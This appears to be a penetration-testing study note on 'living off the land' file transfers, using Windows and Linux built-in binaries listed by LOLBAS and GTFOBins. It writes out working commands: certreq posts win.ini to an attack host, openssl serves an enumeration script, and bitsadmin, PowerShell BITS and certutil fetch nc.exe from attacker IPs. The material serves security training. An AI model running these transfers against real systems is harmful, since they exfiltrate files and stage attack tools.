# Living Off The Land

There are currently two websites that aggregate information on Living off the Land binaries:

* [LOLBAS Project for Windows Binaries](https://lolbas-project.github.io)
* [GTFOBins for Linux Binaries](https://gtfobins.github.io/)

Living off the Land binaries can be used to perform functions such as:

* Download
* Upload
* Command Execution
* File Read
* File Write
* Bypasses

## LOLBAS (Windows)

To search for download and upload functions in [LOLBAS](https://lolbas-project.github.io/) we can use `/download` or `/upload`.

Example with CertReq.exe:

We need to listen on a port on our attack host for incoming traffic using Netcat and then execute certreq.exe to upload a file.

```batch
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
```

## GTFOBins (Linux)

To search for the download and upload function in [GTFOBins for Linux Binaries](https://gtfobins.github.io/), we can use `+file download` or `+file upload`.

### Attacker machine

```bash
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
```

```bash
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
```

### Target

Download the file from the attacker with

```bash
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
```

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## Bitsadmin Download function

The [Background Intelligent Transfer Service (BITS)](https://docs.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.

```powershell
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
```

PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers.

```powershell
Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
```

## Certutil

Casey Smith ([@subTee](https://twitter.com/subtee?lang=en)) found that Certutil can be used to download arbitrary files. It is available in all Windows versions and has been a popular file transfer technique, serving as a defacto `wget` for Windows. However, the Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.

```powershell
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe
```


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